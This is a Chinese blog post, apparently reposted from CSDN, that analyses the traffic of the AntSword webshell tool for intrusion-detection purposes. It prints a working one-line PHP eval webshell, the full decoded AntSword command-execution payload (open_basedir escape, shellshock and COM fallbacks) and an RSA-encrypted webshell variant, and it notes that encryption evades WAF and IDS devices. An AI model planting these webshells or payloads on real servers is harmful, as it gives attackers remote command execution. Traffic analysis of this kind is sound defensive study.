0


蚁剑流量分析

25号那一天,冰蝎恰好更新到了 4.0 版本,当时引得流量监控的老哥很紧张,告诉我要看好 IDS 警报。因为一旦 WebShell 攻破就有可能在内网采取行动。

然后引发我极大的好奇,决定活动结束后回去好好研究。

现在在家闲的没事,就先研究一下蚁剑吧,剩下的冰蝎、哥斯拉过几天研究。

1. 未加密流量形式

我们可以直接写一个简单的一句话木马

<?php 
    @eval($_POST[sa]);?>

此时是没有进行流量加密的,我们上交到服务器,然后进行抓包

进行 URL 解码后,我们收到的是一段 PHP 代码(很长不想看的建议滑过去看后面的内容)

@ini_set("display_errors","0");
@set_time_limit(0);$opdir= @ini_get("open_basedir");if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
    @array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparras$item){if(!@is_writable($item)){continue;};$tmdir=$item."/.1b7683e8cb4";
        @mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir","..");$cntarr= @preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){
            @chdir("..");};
        @ini_set("open_basedir"," /");
        @rmdir($tmdir);break;};};;functionasenc($out){return$out;};functionasoutput(){$output=ob_get_contents();ob_end_clean();echo"cdd3"."7c35e";echo @asenc($output);echo"c9cb"."8c28";}ob_start();try{$p=base64_decode(substr($_POST["m0300de6257f67"],2));$s=base64_decode(substr($_POST["k0252207ae80f4"],2));$envstr= @base64_decode(substr($_POST["i6813797614ba8"],2));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";if(substr($d,0,1)=="/"){
        @putenv("PATH=".getenv(" PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}else{
        @putenv("PATH=".getenv(" PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}if(!empty($envstr)){$envarr=explode("|||asline|||",$envstr);foreach($envarras$v){if(!empty($v)){
                @putenv(str_replace("|||askey|||","=",$v));}}}$r="{$p}{$c}";functionfe($f){$d=explode(",", @ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};functionrunshellshock($d,$c){if(substr($d,0,1)=="/"&&fe('putenv')&&(fe('error_log')||fe('mail'))){if(strstr(readlink("/bin/sh"),"bash")!=FALSE){$tmp=tempnam(sys_get_temp_dir(),'as');putenv("PHP_LOL=() { x; }; $c>$tmp 2>&1");if(fe('error_log')){error_log("a",1);}else{mail("[email protected]","","","-bv");}}else{returnFalse;}$output= @file_get_contents($tmp);
            @unlink($tmp);if($output!=""){print($output);returnTrue;}}returnFalse;};functionruncmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')){
            @system($c,$ret);}elseif(fe('passthru')){
            @passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){
            @exec($c,$o,$ret);print(join(" ",$o));}elseif(fe('popen')){$fp= @popen($c,'r');while(!@feof($fp)){print(@fgets($fp,2048));}
            @pclose($fp);}elseif(fe('proc_open')){$p= @proc_open($c,array(1=>array('pipe','w'),2=>array('pipe','w')),$io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}
            @fclose($io[1]);
            @fclose($io[2]);
            @proc_close($p);}elseif(fe('antsystem')){
            @antsystem($c);}elseif(runshellshock($d,$c)){return$ret;}elseif(substr($d,0,1)!="/"&& @class_exists("COM")){$w=newCOM('WScript.shell');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret=127;}return$ret;};$ret= @runcmd($r." 2>&1");print($ret!=0)?"ret={$ret}":"";;}catch(Exception$e){echo"ERROR://".$e->getMessage();};asoutput();die();

不要慌,虽然它很长

但是看缩进就会发现函数占绝大部分

代码的思路也很简单

在发送指令的时候,代码和指令是一块发过去的.

在上面的图中,我们可以看见除了代码,还有其他的 POST 指令也被传了过去,只不过是一堆无规则的字符

而这就值得关注了,可以发现是基于 Base64 编码的.

当然,直接解码依旧是会得到乱码

所以我们要去看源码

我们注意到这部分源码

$p=base64_decode(substr($_POST["m0300de6257f67"],2));$s=base64_decode(substr($_POST["k0252207ae80f4"],2));$envstr= @base64_decode(substr($_POST["i6813797614ba8"],2));

要从第三位开始,前面的两位作废

所以我们解码可以得到

文件路径和我刚才输进去的 whoami 指令

后面的 pwd 在 Linux 中是查看当前路径

其他的则意义不明,在返回的响应中,也有部分字符串

这些可以说是很容易被各种网安设备给识别出来

2. RSA 加密

那么我们看看警告 RSA 加密后的流量又能看出什么规律呢?

我们生成密钥后,用蚁剑给的 PHP 代码,作为 WebShell

<?php$cmd= @$_POST['ant'];$pk=<<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCQO/mlYt7jFDW6WxYBUequ/Wgv
Ecw3K9Jn618bPR0TBZ0PHk0gGYKNoysfqp38N7rr0eq38C8yXLYdi7wT+SUboHUZ
2y83XM0R3R5pM5NMe2pS7b5J6N0Ad1hSz1rYDhOO2FZ0Ilw0g9gtF+bkNNpPJLLf
Z7V8le4rSJWXc8ObewIDAQAB
-----END PUBLIC KEY-----
EOF;$cmds=explode("|",$cmd);$pk=openssl_pkey_get_public($pk);$cmd='';foreach($cmdsas$value){if(openssl_public_decrypt(base64_decode($value),$de,$pk)){$cmd.=$de;}}eval($cmd);

3. Base64 加密

如果我们使用 Base64 编码呢?

然后我们对内容进行解码

可以说跟没加密的内容是大差不差的了

4. cHr 加密

再使用 cHr 编码呢?

5. 其他

其实还有 Rot13 ,除了 RSA 加密,这三种都有 eval 敏感函数,可以很容易被防火墙鉴别并阻挡

所以说好的加密方式是可以绕过 WAF 和 IDS 等网安设备。

这就需要经验老道的师傅用双眼来鉴别了。

所以我这个小萌新就负责递茶吧。

标签: 网络安全

本文转载自: https://blog.csdn.net/I_like_ctrl/article/details/126823622
版权归原作者 真不想起名TAT 所有, 如有侵权,请联系我们删除。

“蚁剑流量分析”的评论:

还没有评论